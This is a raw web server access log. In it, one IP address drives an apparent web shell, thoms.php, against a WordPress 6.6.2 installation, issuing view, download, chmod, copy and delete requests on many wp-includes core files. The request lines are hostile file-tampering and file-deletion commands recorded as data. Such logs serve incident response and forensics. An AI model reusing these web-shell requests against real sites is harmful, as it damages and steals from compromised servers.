45.135.193.11 - - [11/Sep/2026:23:33:15 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22129 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=sitemaps.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:15 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22199 "https://163.245.207.76:443/thoms.php?dl=sitemaps.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:15 -0400] "GET /thoms.php?chmod=spl-autoload-compat.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=spl-autoload-compat.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:15 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22214 "https://163.245.207.76:443/thoms.php?chmod=spl-autoload-compat.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:15 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-IXR.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-IXR.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:15 -0400] "GET /thoms.php?dl=class-wp-admin-bar.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-wp-admin-bar.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:16 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22212 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-IXR.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:16 -0400] "GET /thoms.php?dl=class-wp-customize-manager.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-wp-customize-manager.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:16 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?dl=class-wp-admin-bar.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:16 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22214 "https://163.245.207.76:443/thoms.php?dl=class-wp-customize-manager.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:16 -0400] "GET /thoms.php?chmod=embed.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=embed.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:16 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22222 "https://163.245.207.76:443/thoms.php?chmod=embed.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:16 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Frobots-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Frobots-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:16 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22278 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Frobots-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:16 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=theme.json HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=theme.json" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:16 -0400] "GET /thoms.php?dl=wp-diff.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=wp-diff.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:16 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=theme.json" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:16 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?dl=wp-diff.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:16 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=block-editor.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=block-editor.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:16 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22138 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=block-editor.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:16 -0400] "GET /thoms.php?dl=category.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=category.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:16 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?dl=category.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:16 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Ffeed-atom-comments.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Ffeed-atom-comments.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:16 -0400] "GET /thoms.php?chmod=http.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=http.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:16 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Ffeed-atom-comments.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:16 -0400] "GET /thoms.php?del=wp-diff.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=wp-diff.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:17 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?chmod=http.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:17 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22256 "https://163.245.207.76:443/thoms.php?del=wp-diff.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:17 -0400] "GET /thoms.php?chmod=class-wp-block-parser.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-parser.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:17 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22151 "https://163.245.207.76:443/thoms.php?chmod=class-wp-block-parser.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:17 -0400] "GET /thoms.php?del=class-wp-date-query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-wp-date-query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:17 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-post-type.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-post-type.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:17 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22244 "https://163.245.207.76:443/thoms.php?del=class-wp-date-query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:17 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22255 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-post-type.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:17 -0400] "GET /thoms.php?del=ms-load.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=ms-load.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:17 -0400] "GET /thoms.php?chmod=blocks.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=blocks.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:17 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?del=ms-load.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:17 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?chmod=blocks.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:17 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-block-template.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-block-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:17 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fdefault-widgets.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fdefault-widgets.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:17 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22240 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-block-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:17 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22288 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fdefault-widgets.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:17 -0400] "GET /thoms.php?chmod=embed-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=embed-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:17 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?chmod=embed-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:17 -0400] "GET /thoms.php?dl=class-walker-category.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-walker-category.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:18 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-ajax-response.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-ajax-response.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:18 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22260 "https://163.245.207.76:443/thoms.php?dl=class-walker-category.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:18 -0400] "GET /thoms.php?dl=class-wp-tax-query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-wp-tax-query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:18 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22135 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-ajax-response.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:18 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?dl=class-wp-tax-query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:18 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=ms-files.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=ms-files.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:18 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-customize-setting.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-customize-setting.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:18 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22213 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=ms-files.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:18 -0400] "GET /thoms.php?del=class-wp-scripts.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-wp-scripts.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:18 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-customize-setting.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:18 -0400] "GET /thoms.php?del=class-wp-simplepie-file.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-wp-simplepie-file.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:18 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22195 "https://163.245.207.76:443/thoms.php?del=class-wp-scripts.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:18 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22221 "https://163.245.207.76:443/thoms.php?del=class-wp-simplepie-file.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:18 -0400] "GET /thoms.php?del=class-wp-styles.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-wp-styles.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:18 -0400] "GET /thoms.php?chmod=block-bindings.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=block-bindings.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:18 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22188 "https://163.245.207.76:443/thoms.php?del=class-wp-styles.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:18 -0400] "GET /thoms.php?dl=canonical.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=canonical.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:18 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?chmod=block-bindings.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:18 -0400] "GET /thoms.php?del=class-pop3.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-pop3.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:18 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22279 "https://163.245.207.76:443/thoms.php?dl=canonical.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:18 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22302 "https://163.245.207.76:443/thoms.php?del=class-pop3.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:18 -0400] "GET /thoms.php?dl=class-wp-embed.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-wp-embed.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:19 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-fatal-error-handler.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-fatal-error-handler.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:19 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?dl=class-wp-embed.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:33:19 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-list-util.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-list-util.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
